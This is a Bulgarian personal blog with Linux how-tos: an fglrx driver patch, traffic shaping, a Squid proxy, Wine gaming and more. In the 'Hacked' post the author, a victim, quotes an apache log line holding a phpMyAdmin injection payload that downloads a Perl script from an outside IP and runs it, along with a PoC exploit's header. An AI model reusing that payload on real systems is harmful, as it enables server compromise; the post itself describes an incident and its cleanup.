geek time
Kernel 2.6.32.x и ATI Catalyst (GeekTime)
by Lucifer on Jan.11, 2010, under HowTo, geek time
Нали ме знаете, че съм си гаден geek, та винаги гледам да съм с последните версии на каквото е излязло … дори с последни версии на ядрото на Slackware-а с който работя в къщи.
Kernel-а който излезе на 9-ти беше 2.6.32.3 и разбира се първата ми работа беше да го инсталирам, да го прекомплирам за да открива и 4-те GB RAM и да си направя initrd.gz за да мога да си пускам машината (аз съм гаден параноик и съм я криптирал) …
Всичко мина добре. Влязох като root и махнах стария fglrx.9.12 компилиран за 2.6.29.6.
Стартирах инсталатора … и каква беше изненадата ми, когато вместо “Instalation complete”, получих съобщението “There were errors compiling driver. Please refer to fglrx-install.log”
WTF??? Какви грешки бе!
nano /usr/share/ati/fglrx-install.log
[Message] Kernel Module : Trying to install a precompiled kernel module. [Message] Kernel Module : Precompiled kernel module version mismatched. [Message] Kernel Module : Found kernel module build environment, generating kernel module now. AMD kernel module generator version 2.1 doing Makefile based build for kernel 2.6.x and higher rm -rf *.c *.h *.o *.ko *.GCC* .??* *.symvers make -C /lib/modules/2.6.32.3-smp/build SUBDIRS=/lib/modules/fglrx/build_mod/2.6.x modules make[1]: Entering directory `/usr/src/linux-2.6.32.3' CC [M] /lib/modules/fglrx/build_mod/2.6.x/firegl_public.o In file included from /lib/modules/fglrx/build_mod/2.6.x/firegl_public.c:443: /lib/modules/fglrx/build_mod/2.6.x/drm_proc.h: In function ‘FGLDRM__vma_info’: /lib/modules/fglrx/build_mod/2.6.x/drm_proc.h:497: warning: format ‘%08lx’ expects type ‘long unsigned int’, but argument 5 has type ‘phys_addr_t’ /lib/modules/fglrx/build_mod/2.6.x/firegl_public.c: In function ‘KCL_MapPageToPfn’: /lib/modules/fglrx/build_mod/2.6.x/firegl_public.c:1586: warning: unused variable ‘bus_addr’ CC [M] /lib/modules/fglrx/build_mod/2.6.x/kcl_acpi.o CC [M] /lib/modules/fglrx/build_mod/2.6.x/kcl_agp.o CC [M] /lib/modules/fglrx/build_mod/2.6.x/kcl_debug.o CC [M] /lib/modules/fglrx/build_mod/2.6.x/kcl_ioctl.o CC [M] /lib/modules/fglrx/build_mod/2.6.x/kcl_io.o /lib/modules/fglrx/build_mod/2.6.x/kcl_io.c: In function ‘KCL_IO_FASYNC_Terminate’: /lib/modules/fglrx/build_mod/2.6.x/kcl_io.c:122: error: ‘SIGIO’ undeclared (first use in this function) /lib/modules/fglrx/build_mod/2.6.x/kcl_io.c:122: error: (Each undeclared identifier is reported only once /lib/modules/fglrx/build_mod/2.6.x/kcl_io.c:122: error: for each function it appears in.) make[2]: *** [/lib/modules/fglrx/build_mod/2.6.x/kcl_io.o] Error 1 make[1]: *** [_module_/lib/modules/fglrx/build_mod/2.6.x] Error 2 make[1]: Leaving directory `/usr/src/linux-2.6.32.3' make: *** [kmod_build] Error 2 build failed with return value 2 [Error] Kernel Module : Failed to compile kernel module - please consult readme.
Какво по …
И отново старото ровене в чичо google … 2 дни без хубаво видео … няма да ви описвам мъките си … докато на някакъв забит пост в някакъв забит форум не намерих как да го оправя … а то се оказа и много просто – явно в новата ядро са отделили част от нещата в нов header file …
Ето и решението step-by-step:
01. Сваляте си драйверите от сайта на ATI.
02. Стартирате run-а с опция –extract
03. Отваряте fglrx-install.nqkakuv_string/common/lib/modules/fglrx/build_mod/kcl_io.c където добавяте:
#include <linux/signal.h>
04. В fglrx-install.nqkakuv-string стартирате sh ./ati-installer.sh 8.5912 –install
05. reboot … and that is all …
Лесно нали? Някъде из нет-а се мотат готови .patch, но нямах време и желание да търся … за това използвах nano … и го направих на ръка … лесно и бързо … веднъж като знаеш какво ти трябва …
Надвявам, се да помогна на някого.
Ваш,
Lucifer
loading...
Vivacom … малко забава …
by Lucifer on Dec.26, 2009, under fun, geek time, misk
Седя си аз и си обмислям поредния проект, много важна част от който е изпращането на e-mail към SMS и който ще публикувам като го завърша … та решавам аз да видя дали Жижакомци (как звучи обаче) поддържат mail2sms …
Звъня аз на оператор …
Операторката: Виваком. Говорите с …
АЗ(след 5 минути on hold): Добър вечер. Имам глупав въпрос. Случайно да поддържате e-mail към SMS услигата?
Девойката: Аааа. … не знам … изчакайте за момент на линия да попитам.
(пратен съм пак on hold)
Девойката: Не господине, не предлагаме тази услуга.
АЗ: Добре, а има ли някакъв начин да пращам SMS от интернет?
Девойката: Да, господине … от сайта на Виваком.
АЗ: А има ли някакво API или нещо което да автоматизира процеса?
Девойката: Моля? Не ви разбрах?
(Свикнал съм да не ме разбират)
АЗ: Добре. Няма значение, благодаря ви.
***
Тази ситуация, както се досещате никак не ми харесва … ама никак! Та решавам въпреки това да пробвам.
Преравям интернета и виждам как са дефинирани адресите на другите 2 Български мобилни оператора …
Логвам се в мейл-а си.
359878хххххх[at]sms.vivacom.bg
Пращам …
Звънн на GSM-а -> ИМАТЕ SMS от …
DEAMN YOU!!!
Звъня пак на оператор …
***
Девойката: Свързахте се с Виваком. Говорите с …
АЗ: Добър вечер. Я да ви питам – заплащам ли SMS-ите, които получавам от mail2sms gatway-а ви?
Девойката: А? Не ви разбрах?
АЗ: Заплащам ли SMS-ите които получавам от електронната си поща?
Девойката: Имате предвид новата ни услуга Nokia Messeging ли?
АЗ: Не. Нямам предвид push mail услугата ви… Имам предвид mail2sms gateway-a … Няма значение … Бихте ли ми казали дали заплащам SMS-те пристигащи от номер …
Девойката: Сега ще проверя, господине …
(On hold за 20 минути)
Девойката: Съжалявам за забавянето, но …
АЗ: … ви хвърлих в Jazz-a?
Девойката: Да. До колкото разбрах не предлагаме такава услуга …
АЗ: От мене да знаете, че предлагате … Въпроса е дали си плащам.
Девойката: Не знам, господине …
АЗ: Добре … имате достъп до таксуванията на номера ми, нали?
Девойката: Да?
АЗ: Отворете ги.
Девойката: Дайте си номера …
АЗ: 0878хххххх
Девойката: Но те се опресняват на 3 часа, господине … Последното ви е от 11:10 … ползване на интернет.
АЗ: Добре … показва ли се кога съм говорил с оператор?
Девойката: Да, господине. Провели сте разговор в 19:35 …
АЗ: След това не съм таксуван, нали?
Девойката: Не, господине.
АЗ: Добре, значи системата ви се е опреснила … щом е отчела обаждането на оператор и след него не съм таксуван, следователно не ме таксувате за тези SMS-и …
Девойката: Логиката ви е безупречна господине … но отново ви казвам, че не предлагаме такава услуга …
АЗ: А от мен да знаете … че всъщност предлагате … Благодаря ви и лека вечер!
***
Много се забавлявам понякога в Вивакомци … Много са ми забавни … Поддръжката им явно има някакъв минимален запас от познания и им е трудно да импровизират върху тях …
Ваш,
Lucifer
loading...
Hacked …
by Lucifer on Dec.03, 2009, under blog, geek time, misk
Искам да се оплача … от собствената си глупост … и то много да се оплача …
То бива бива да съм заблуден, ама като мене не бива. Ситуацията на кратко – сървъра ми беше хакнат! Дап, моето мило Анаваро!
Беше заразен с IRC бот вирус. Нямаше много “мрежеви” поражения … защото машината слаба или аз съм я сложил калпаво, та вируса само се изпълняваше, вдигаше CPU-то на 100% и системата умираше – няма мрежа, няма нищо, а аз знаете съм на 500 км.
След няколко рестарт-а и любимите ми “tail -f” и “htop” успях да засека следния малък проблем:
ID USER NI CPU% MEM% VIRT SHR S TIME+ Command 3813 apache 0 65.0 0.1 1776 432 R 1:42.64 ./std 89.137.139.225 0
А … ново 20??? Какъв пък процес се изпълнява от apache (Web Server-a) …
Спомних си кога за първи път се появи проблема и се зарових из логовете на индианеца … където открих следния “смахнат” ред:
88.191.14.38 - - [29/Nov/2009:02:12:10 +0200] "GET /phpMyAdmin/config/config.inc.php?c=cd%20/tmp;wget%20http://88.170.72.136/gcc.txt;lwp-download%20http://88.170.72.136/gcc.txt;fetch%20http://88.170.72.136/gcc.txt;perl%20gcc.txt;rm%20-fr%20gcc.txt HTTP/1.1" 200 181
Изненадкааа …Разбира се разпищях се из Linux-bg и ми върнаха лошата за мен новина:
# PoC script successfully tested on the following targets: # phpMyAdmin 2.11.4, 2.11.9.3, 2.11.9.4, 3.0.0 and 3.0.1.1 # Linux 2.6.24-24-generic i686 GNU/Linux (Ubuntu 8.04.2) # attack requirements: # 1) vulnerable version (obviously!): 2.11.x before 2.11.9.5 # and 3.x before 3.1.3.1 according to PMASA-2009-3 # 2) it *seems* this vuln can only be exploited against environments # where the administrator has chosen to install phpMyAdmin following # the *wizard* method, rather than manual method: http://snipurl.com/jhjxx # 3) administrator must have NOT deleted the ‘/config/’ directory
# within the ‘/phpMyAdmin/’ directory. this is because this directory is
# where ‘/scripts/setup.php’ tries to create ‘config.inc.php’ which is where
# our evil PHP code is injected![]()
Бах! Как се саморазпосувах, само може да си представите! Правих какви ли не магарии – то не бяха преинсталации на apache, промени на пътеки …
Отново и отново ./std $IP $PORT процеса ме убиваше …
Питайки чичко Гугъл … случайно стигнах до един сайт в който някой се оплакваше от моя проблем.
ps aux | grep apache
ми даде виновника – индианеца се беше троянизирал … изпълняваше процеси (добре че е deamon) …
crontab -u apache -e
ми даде и проблема – някакво фаилче кръстено y2kupdate в /tmp/.pid/ и изпълнимо … на бързо му бих “rm -r”, премахнах референцията в cron-а и изтрих phpMyAdmin-a (сложих си го на скрито място) …
Знам, че съм пълен идиот … ама аз съм си такъв …
Ваш,
Lucifer
loading...
Малко хитрости за работа … или ffmpeg, WordPress и Viper’s Videotags
by Lucifer on Nov.26, 2009, under HowTo, PC, geek time
Ето че пак е време за поредното HowTo в рубриката ми Geek Time.
Как се стигна до тук? Както винаги – от скука и то на работа. Тогава ми хрумна много луда идея – on-line филми. Имам си сървър, зад който стоят почти 500 GB филми (и порно разбира се, но това е друг въпрос).
Необходими средства:
Slackware Current с инсталиран X.
slapt-get (за по-лесно) с repositpry от slacky.eu
WordPress (пак за по-лесно) с Viper’s Quick Videotags plug-in (за съвсем лесно).
Материал (филм, сериал или каквото там ви се гледа (не препоръчвам порно за работа))
Изпълнение:
1. През slapt-get инсталирате ffmpeg с всички пакети които иска (задължително проверете за наличие на x246)
2. осигурявате си достъп до суровия материал.
ffmpeg -i faila_koito_shte_prevrushtate.avi -s (width)x(height) -f flv -acodec libmp3lame -ab 128000 -ar 44100 -ac 2 -vcodec flv ime_na_gotovot.flv
А сега да обясня опциите (трябваха ми 4 часа докато ги схвана)
-s – разделителна способност на изхода (за предпочитане да са като на оригиналния фаил)
-f – force format (изходящия фаил задължително да е в този формат)
-acodec – аудиокодек на изходящия файл
-ab – задава bitrate на аудиото
-ar – задава чесотата (sample frequency)
-ac – задава броя канали (2 = стерео)
-vcodec – кодека използван за видеото
Изчаквате си конверитрането на суровия материал. Копирате си готовото .flv някъде където може да ви го чете apache и използвайки любимия си метод го поствате в WordPress блога си.
А сега се насладете на първите 500 кадъра от Gamer.BRRip.XviD.AC3-TBc:
http://www.anavaro.com/media/test.flvПриятно прекарване и не забравяйте, че това е времеемко занимание. Надявам се да съм ви помогнал и днес!
Ваш,
Lucifer
P.S.: Явно се оказва, че има много по хубав начин да се постигнат нещата … Както ще прочетете в коментарите. Направих няколко теста и за сметка по-голямото време за енкодване, можете да получите невероятни резултати с h264. Ето тук има ръководство: цък. Искам най-искрено да благодаря на drJeckyll за коментара и помощта …
loading...
Nokia 6120 classic като Linux modem!(Geek Time)
by Lucifer on Aug.29, 2009, under HowTo, PC, geek time
И така, явно се е видяло че ще отварям Geek Time рубрика в този блог, та ето ви още един пост нея:
Как да подкараме Nokia 6120 classic като USB GPRS/EDGE модем под Linux (в моя случай Slackware 13, но ръководството е достатъчно широко) и VivaTel (независимо дали пакет данни или нещо друго).
Необходим hardware:
Компютър (няма смисъл иначе, нали)
GSM Nokia 6120 classic (предполагам, че и всеки друг Symbian базиран телефон би ви свършил работа)
USB кабел за телефона
Необходим software:
Linux (в моя случай, както казах, Slackware 13, но предполагам, че и другите ще станат)
wvdial – трябва да го има в репото на дистрибуцията ви (за Slackware го има в Slacky.eu, като готов пакет)
wvdialerstrams – библиотека използвана от wvdial
qtwvdialer – QT GUI за wvdial
Методология:
Инсталирате пакетите описани по горе, свързвате телефона с кабела към машината и му задавате PCSuit (не data transfer или media player).
Пускате си една конзола и su – твате (трябва да сте root).
$wvdialconf
Програмката културно си засича телефона и най-добрата скорост с която да го използвате и ви предлага Init1 и Init2 редове.
$nano /etc/wvdial.conf
Ще забележите, че някои редове са откоментирани с #. Това са нещата които конфигурацията не е успяла да налучка.
Ето ви копие на моя wvdial.conf, това което трябва да добавите за да работите с VivaTel са редовете Init3, Phone, Username и Password
[Dialer Defaults] Init1 = ATZ Init2 = ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0 Init3 = AT+CGDCONT=1,"IP","internet.vivatel.bg" Modem Type = USB Modem Phone = *99# ISDN = 0 Username = vivatel Password = vivatel Modem = /dev/ttyACM0 Baud = 460800
Остана само да въведете DNS-те на доставчика. Ако сте на VivaTel в /etc/resolv.conf добавете редовете:
nameserver 212.39.90.42
nameserver 212.39.90.43
Ако не сте, стартирайте $wvdial (прекратява се с Ctrl+C) и ще видите редовете First Domain Name Server $ADRESS1 и Second Domain Name Server $ADRESS2. Това са адресите за /etc/resolv.conf
Това е от мен. Аз така успях да го подкарам. Надявам се да ви помогне!
Ваш,
Lucifer
loading...
Lineage 2 GRACIA Final под Linux (Geek Time)
by Lucifer on Aug.05, 2009, under HowTo, PC, geek time
И така от липса на друга работа, реших да се хвана да се заиграя отново на Lineage 2 и попаднах на Gracia Final Server (Marines сървъра на spectrumNet). Само дето скоро съвсем ще остана без достъп до работещ Winbows, а няма да се върна заради една игра на него и за това седнах да ровя как да го Wine-зирам и се оказа, че то не е толкова трудно!
I. Подготовка:
1. Драйвери – слагате си драйверите на видео картата!
2. Wine
2.1 сваляте си Wine
2.2 компилирате и инсталирате Wine (има си много читав скрипт, който ви върши цялата работа)
3. Winetricks – разравяте се из google и си намирате скриптчето наречено wintericks
3.1 Инсталация на DirectX 9 – от winetricks става супер лесно
3.2 Инсталация на GECKO – пак от wintericks. Това е важно, само ако ще ползвате update през LineageII.exe
II. Сваляне:
1. Намирате си играта и си я сваляте L2. Тази стъпка трябва да ви е ясна! Забивате я някъде и готово!
(до колкото схващам от цялата философия може и да не ви се наложи да минете през другите стъпки, но това си зависи от вашата система. Аз все пак ще си ви ги напиша.)
III. Настройки – пипкавата работа:
1. /etc/hosts – тези от вас които са играли пиратски сървъри на Lineage 2 под добрата стара боза знаят как се правеха промените в %windows%/system32/driver/etc/hosts файл-а. Е тука ви трябва само в /etc/hosts да добавите:
xx.xx.xx.xx L2authd.lineage2.com
ако разбира се сървъра ви го иска!
(тук е момента да пробвате да влезете в папка system на играта и да напишете wine l2.exe – шанса е 50/50 да тръгне от воле. Не се притеснявайте от онова за AGP inconsistancy)
2. Шрифотве – и така влизате в прозореца на играта … и о чудо – всички бутончета са празни, вие не виждате какво пишете … проблем! Решението е просто: Намерете си tahoma.ttf (копирайте го от font дирецторията на който и да е winbows) и го сложете в ~/.wine/drive_c/windows/fonts
3. Ако точка 1 не успее – опитали сте по т.1 и сте ме наругали защото не е тръгнало. Не се предавайте – решението е просто – отивате в папка system на играта и отваряте l2.ini …
Вариант 1: l2.ini е текстов. Супер! Намерете редовете:
UseHardwareTL=True UseHardwareVS=True
и ги заменете на
UseHardwareTL=Flase UseHardwareVS=False
… и това е!
wine l2.exe … и готово.
Вариант 2: l2.ini е бинарен. Мааалка спънка! Но не за дълго:
- немрете си l2encdec от тук
- декриптирайте l2.ini (има си readme)
- когато l2.ini стане текстов … се върни на Вариант 1!
Ето ви го решението. Аз за сега не намирам проблем, а отняколко часа играя …
Ако имате проблеми – казвайте да ги мисля.
Ваш,
Lucifer
loading...
Една отдавна бавена стъпка … 2
by Lucifer on May.27, 2009, under HowTo, PC, geek time, misk
Проблем 6:
Как подяволите да си подкарам външните VGA/HDMI?
Решение:
Ми всъщност много много просто – в /etc/X11/xorg.conf в секция Screen, суб секция Display, добавяте:
Virtual 2048 2048
това максималната ви допустима разделителна способност толкова. Иначе xrandr взима максималната на 1 от мониторите. После си свалете arandr приложението (най-добре от svn)
svn co http://svn.amsuess.com/svn/tools/arandr/trunk/ arand
старитрате arandr … и готово! Можете като мен да го копирате в /usr/share и да направите sym link към /usr/bin само на изпълнимия arandr.
Проблем 7:
Опции за fglrx драйверите.
Решение:
за по лесно ви паствам целия си xorg.conf – при мен, на моята машна със горе изброените стъпки работи на max!
Section “ServerLayout”Identifier “Simple Layout”
Screen 0 “aticonfig-Screen[0]-0″ 0 0
InputDevice “Mouse1″ “CorePointer”
InputDevice “Keyboard1″ “CoreKeyboard”
EndSection
Section “Files”
RgbPath “/usr/share/X11/rgb”
FontPath “/usr/share/fonts/local/”
FontPath “/usr/share/fonts/misc/”
FontPath “/usr/share/fonts/OTF/”
FontPath “/usr/share/fonts/TTF/”
FontPath “/usr/share/fonts/Type1/”
FontPath “/usr/share/fonts/CID/”
FontPath “/usr/share/fonts/Speedo/”
FontPath “/usr/share/fonts/75dpi/:unscaled”
FontPath “/usr/share/fonts/100dpi/:unscaled”
FontPath “/usr/share/fonts/75dpi/”
FontPath “/usr/share/fonts/100dpi/”
FontPath “/usr/share/fonts/cyrillic/”
EndSection
Section “Module”
Load “dbe” # Double buffer extension
SubSection “extmod”
Option “omit xfree86-dga” # don’t initialise the DGA extension
EndSubSection
Load “type1″
Load “freetype”
#Load “speedo”
Load “GLcore”
Load “glx”
Load “dri”
EndSection
Section “InputDevice”
Identifier “Keyboard1″
Driver “kbd”
EndSection
Section “InputDevice”
Identifier “Mouse1″
Driver “mouse”
Option “Protocol” “Auto”
Option “ZAxisMapping” “4 5″
# The mouse device. The device is normally set to /dev/mouse,
Option “Device” “/dev/mouse”
# Option “Device” “/dev/psaux”
EndSection
Section “Monitor”
Identifier “aticonfig-Monitor[0]-0″
Option “VendorName” “ATI Proprietary Driver”
Option “ModelName” “Generic Autodetecting Monitor”
Option “DPMS” “true”
EndSection
Section “Device”
Identifier “aticonfig-Device[0]-0″
Driver “fglrx”
BusID “PCI:1:0:0″
Option “UseFastTLS” “1″
EndSection
Section “Screen”
Identifier “aticonfig-Screen[0]-0″
Device “aticonfig-Device[0]-0″
Monitor “aticonfig-Monitor[0]-0″
DefaultDepth 24
SubSection “Display”
Virtual 2048 2048
Viewport 0 0
Depth 24
EndSubSection
EndSection
Section “DRI”
Mode 0666
EndSection
Проблем 8:
VirtualBox. Нямам USB и нямам USB!
Решенение:
Добавяте потребителя с, който искате да ползвате VirtualBox в vboxusers групата.
Добавяте и в /etc/fstab:
usbfs /proc/bus/usb usbfs devmode=666 0 0
и USB-то … чудотворно се оправя!
Това е от мен, поне за сега!
Ваш,
Lucifer
loading...
Една отдавна бавена стъпка …
by Lucifer on May.25, 2009, under HowTo, PC, geek time, misk
Предния път набързо само написах, че най-накрая минах на Линукс и по-специално на Slackware current. Винаги съм обичал да съм на ръба на технологиите. А и Slackware-а винаги ми е бил любимата ОС. Много по-лесно сигурно щеше да ми е да мина на нещо по-просто (HellMaster винаги е предлагал Fedora), но честно казано тогава нямаше да ми е интерестно. Предпочитам си Slack-чето. Успях да се сборя с драйверите, сбих се с мрежата, преборих се с ядрото и какво ли още не! За тези 2 седмици научих много. Сега искам да споделя със вас какво и как направих:
Железарии:
ASUS M51V-AP129
CPU: Intel Pentium Dual Core Processor T3200
RAM: 4GB
VC: Radeon HD 3470
Проблем 1:
Kernel-a, който върви със Slack-а не вижда 4-те гиги рам
Решение:
cd /usr/src/linux-2.6.29.2
rm .configure
cp /boot/configure-huge-smp-2.6.29.2-smp .configure
make menuconfig
Отбелязваме отметката за поддръжка до 64 GB RAM
exit
make bzImage
make modules
make modules_install
cp arch/x86/boot/bzImage /boot/vmlinuz-4g
cp System.map /boot/System.map-4g
Коригираме си любимия boot loader … и проблема е решен – ядрото вижда сичките 4 гиги
Проблем 2:
Поддръжка на 3d.
Решение:
Тука идва голямото четене мили деца, защото fglrx драйверите на ati са несъвместими с ядрото … освен, не се пачнат. Та сваляте си пача който е за версия 9.1 (споко работи си) и си пачвате версия 9.5 (тази която е сега), после си я инсталирате и готово! Имате 3D и compositing.
Проблем 3:
Скролера на мишката.
Решение: в /etc/X11/xorg.conf има ред в секцията за Device “mouse”
Protocol “imps/2″
сменяте го на auto и готово.
Проблем 4:
Поддръжка на кирлица в файловата система и KDE
Решение:
/etc/rc.d/rc.font:
#!/bin/sh # # Този скрипт зарежда шрифт за виртуален терминал (текстова конзола). # Достъпните шрифтове се намират в директорията # /usr/share/kbd/consolefonts. # echo -n -e '\033%@' # кодиране UTF-8 setfont Cyr_a8x16 /etc/profile.d/lang.sh: #!/bin/sh export LANG="bg_BG.UTF-8" ...... ...... # Променливата LC_MESSAGES указва какъв да бъде езика на интерфейса на програмите. # Ако желаете интерфейса на програмите да бъде # на английски вместо на български, махнете # в началото на следващия ред #export LC_MESSAGES=en # тази команда решава някои проблеми свързани с man export LESSCHARSET=utf-8 case `tty` in /dev/console|/dev/tty[0-9]|/dev/vc/[0-9]*) # повторно зареждане на шрифт и клавиатурна подредба (за всеки случай) . /etc/rc.d/rc.keymap 2>/dev/null . /etc/rc.d/rc.font esac /etc/rc.d/rc.local: #!/bin/sh # # /etc/rc.d/rc.local: Local system initialization script. # # Put any local setup commands in here: # настройки за виртуален терминал от 1 до 6: for i in 1 2 3 4 5 6 do echo -n -e '\033%@' > /dev/tty$i done
Искам да благодаря на момчетата от форума на linux-bg.org за помоща, както и на Валентин Стойков, от чиято статия са извадките по-горе. О и да напомня, че това е за поддръжка на utf-8.
Проблем 5:
След инсталиране на драйврите, имам 3d поддръжка, само ако не ползвам kdm.
Решение:
rm -R /usr/share/config/kdm/*
genkdmconf
Та това е мили деца, от към проблеми с преминаването към linux. Поне при мен. Еми … да ми е честито!
Ваш,
Lucifer
loading...
qdisc htb … или лесен за правене shaper
by Lucifer on May.12, 2009, under HowTo, PC, geek time
И така … седя си аз на работа и се чудя как да се боря с големите лоши потребители, които ми заемата канала и не мога да си играя играта и да си точна порното. Ядосвам се! Писна ми да ги забранявам IP по IP. Зачетах се из интернет … добрия стар чичо Google ме препрати към lartc.org . Изтеглих си аз ръководството от там (препоръчвам го н а всички) и се хванах да го прочета. О очудване! То Правенето на shaper не било сложно!
Този shaper работи в моята мрежа. Не твърдя да е сложен, защото нямам нужда да се боря с хакери (потребителите ми са “многознайковци” (вие представяте ли си идота който ми се развика защо нямал нет, като се оказа, че сам си е преинсталирал Windows-a и не е сложил драйвери за дъно и LAN)).
Така, сега по същество:
Конструкция:
Имам 3 LAN мрежи:
192.168.0.0/24 – локална мрежа за администрацията, най-често използвана за служебни задължения, с изключение на 1 поттребител.
192.168.10.0/24 – локална мрежа за залата за обучение, която и трябва web, с изключение на 2-те машини зад които седя.
192.168.3.0/24 – Wi-Fi мрежа за гостите на хотела, която е отворена и безотчетна
Имам 12 Mbit/s biz download на 2Mbit/s upload от приятелите от БТК.
Slackware 12 машинка с 2 LAN карти (WAN и LAN)
Защо HTB?
HTB, ли? Ми защото се пише по-лесно от CBQ, а и в кернела-а на моя комп го има. Няма да ви лъжа, че е по-стабилен или по-напреднал. Аз съм си мързелив. Просто ми е най-лесен.
Лимитации.
За съжаление qdisc не се справя много добре с shape на igress трафик, за това се възползва от опцията на мрежовите протоколи да пращат само колкото бързо можеш да получиш. За това ще работим с egress трафика (изходящия).
Началото.
#/bin/sh WAN=eth1 LAN=eth2
Дефинираме bash скрипта и дефинираме LAN картите. Тук е мястото тези от вас които си вдигат лан картите или правят специфични настройки като “ip a a” да ги направят:
ifconfig $LAN 192.168.0.1 netmask 255.255.255.0 ifconfig $LAN:1 192.168.10.1 netmask 255.255.255.0 ifconfig $LAN:2 192.168.3.1 netmask 255.255.255.0 ip a a dev $WAN xx.xx.xx.xx
Препръчвам да правите всички мрежови настройки преди да започнете да правите shape-а. Започваме с орязване на входящия тряфик. Както казахме, всъщност не можем да го орежем, но можем да ограничим и контролираме изхода от картата към вътрешните мрежи (в случая $LAN).
tc qdisc del dev $LAN root tc qdisc add dev $LAN root handle 1: htb default 30
Или преведено на човешки – изтрий всички устройства коит “висят” на интерфейс $LAN и добави root “устройство” закачено на $LAN с идентификатор 1: и използващо htb (честно казано не знам какво прави default и 30, но си ги търси). Следващата стъпка е да създадем “правила” за устрйството.
tc class add dev $LAN parent 1: classid 1:1 htb rate 12000kbit ceil 12000kbit burst 15k tc class add dev $LAN parent 1:1 classid 1:10 htb rate 5000kbit ceil 12000kbit burst 15k prio 1 tc class add dev $LAN parent 1:1 classid 1:20 htb rate 1000kbit ceil 2000kbit burst 15k prio 2
Обяснявам и тук – добавяме клас 1:1 с “родител” 1: използвайки htb за контрол с минимална скорост 12000 kbit/s (винаги давайте по малки скорости от реалните) и максималан същата. Създаваме 2 “деца” на този клас 1:10 и 1:20. Като 1:10 има запазени 5000 kbit/s и максимум от 12000 kbit/s (когато има други клиенти има гарантирани 5000, но когато останалия канал е свободен, може да го ползва целия), 1:20 е с осигурен 1000 kbit/s и максимум от 2000 kbit/s. Сега, нека пратим трафика по класовете – това става с tc filter.
tc filter add dev $LAN protocol ip parent 1: prio 1 u32 match ip dst 192.168.10.0/24 flowid 1:10 tc filter add dev $LAN protocol ip parent 1: prio 1 u32 match ip dst 192.168.0.0/24 flowid 1:10 tc filter add dev $LAN protocol ip parent 1: prio 2 u32 match ip dst 192.168.3.0/24 flowid 1:20
Използваме така наречените u32 match-ове. В случая изпозлваме ip dst или destination ip. u32 позволява да се фитрира по много показатели:
- dst
- src
- dport
- sport
- tos
- protcol*
*protocol филтъра взима променливите си от /etc/protcols, например ако icmp е 1, то match ip protocol 1 0xff
като могат да се правят n на брой комбинации.
И така какво имам до тук? Имаме едно “дърво”:
1: | 1:1 /\ / \ | | 1:10 1:20
И филтри които да пращат към “клоните”. Това е за входящия трафик. Сега да направим същото за изходящия (извинете но тук няма да обяснявам, защото до сега го обясних достатъчно подробно). Та за $WAN интерфейса:
tc qdisc del dev $WAN root
tc qdisc add dev $WAN root handle 1: htb default 30
tc class add dev $WAN parent 1: classid 1:1 htb rate 2000kbit ceil 2000kbit burst 15k
tc class add dev $WAN parent 1:1 classid 1:10 htb rate 1000kbit ceil 2000kbit burst 15k prio 1
tc class add dev $WAN parent 1:1 classid 1:20 htb rate 512kbit ceil 1000kbit burst 15k prio 2
tc filter add dev $WAN protocol ip parent 1: prio 1 u32 match ip src 192.168.10.0/24 flowid 1:10
tc filter add dev $WAN protocol ip parent 1: prio 1 u32 match ip src 192.168.0.0/24 flowid 1:10
tc filter add dev $WAN protocol ip parent 1: prio 2 u32 match ip src 192.168.3.0/24 flowid 1:20
След този момент вече сте свободни да работите с iptables и да си направите колкото си искате правила за портове и настройки.
Отново подчертавам, че това е една малка и проста конструкция предиведна за SOHO мрежа. Както виждате има и слабо място, но смятам и това да изчистя. Когато го направя ще пиша още.
Ваш,
Lucifer
loading...
Squid 3 + IPTABALES … или transparent proxy за секунди!
by Lucifer on Apr.15, 2009, under HowTo, PC, fun, geek time
Тъй като съм алчно и гладно за трафик копеле, реших, че на потребителите не им трябва чак толкова web трафик и реших да им шибна едно прозрачно proxy. Пък и без това искам да знам кой къде ходи.
Та … как става номера:
1. Взимате един Slackware (дори не знам коя версия)
2. Сваляте си последния SQUID 3 (в моя случай squid-3.0.STABLE13)
3. tar -xvf squid-3.0.STABLEx
4. cd squid-3.0.STABLEx
5. ./configure –enable-ssl –enable-linux-netfilter
6. make all
6.1 (ако не сте като root) su
7. make install
8. mv /usr/local/squid/etc/squid.conf /usr/local/squid/etc/squid.conf.orig
ЧЕСТИТО! Ако всичко е минало правилно имате инсталиран squid без конфигурационен файл.
9. nano /usr/local/squid/etc/squid.conf
http_port 3128 transparent
cache_dir ufs /usr/local/squid/var/cache/ 1000 32 512
access_log /var/log/squid/access.log
acl localnet0 src 192.168.0.0/255.255.255.0
acl localnet10 src 192.168.10.0/255.255.255.0
acl localnet3 src 192.168.3.0/255.255.255.0
http_access allow localnet0
icp_access allow localnet0
http_access allow localnet10
icp_access allow localnet10
http_access allow localnet3
icp_access allow localnet3
Сега да обясня!
http_port – оказва порта на който ще слухти октоподчето (3128 – по подразбиране). Опцията “transperant” оказва на октоподчо да си работи невидимо.
cache_dir – оказва каде да е директорията където да се пазят нещата от сесиите. “usf” e файловата система кяото ползвате. След това пътеката където се помещава (squid трябва да има +rw). Следва големината на заделеното място за cache в MB. Другите 2 параметъра са за папки и подпапки за структуриране на информацията.
access_log – указва пътя на log файла (пак +rw)
acl – Access control layer – основния метод за настройка на сигурност. Какво имам аз? Първия параметър след acl е стринг за наименование на контролера, в този случай localnet0. “src” е вида контрол който ще указваме, в случая входящите заявки от 192.168.0.0/24. За съжаление трябва да окажете пълната netmask, “/24″ не върши работа! При мене имам 3 мрежи и ги дефинирам и трите!
http_access – разреши http достъпа за дадения acl.
icp_access – разреши icp достъпа за дадения acl.
Ето ви го конф-а за да работи леко и без проблемно … има още тоолкова опции и възможности, че няма на къде, но за едно бързо и малко web proxy не ви трябва много! Та … записвате конф-а и излизате от редактора!
10. /usr/local/squid/sbin/squid -z за да направим директориите за кеша.
11. /usr/local/squid/sbin/squid -N -d 1 -D – тъй като октоподчо е демон -N го караме да остане отгоре. -d 1 за да задедем debug level. -D за да не прави DNS query към някои основни хостове и да умре без причина! Ако искате да го пратите като демон махнете -N и -d 1.
12. tail -f /var/log/squid/access.log – за да наблудаваме какво иде реч!
13. Сега трябва да пренасочим целия web трафик през окти … аз съм го решил просто (искам само порт 80, защото потребителите ми са обикновенни хора):
iptables -t nat -A PREROUTING -i eth4 -p tcp –dport 80 -j REDIRECT –to-port 3128
14. ЧЕСТИТО! ИМАТЕ СИ ПРОЗРАЧНО PROXY и домаин logger!
За по-подробни разясянения за това кой, как къде, защо и как – ОКТО WIKI.
Ваш,
Lucifer
loading...
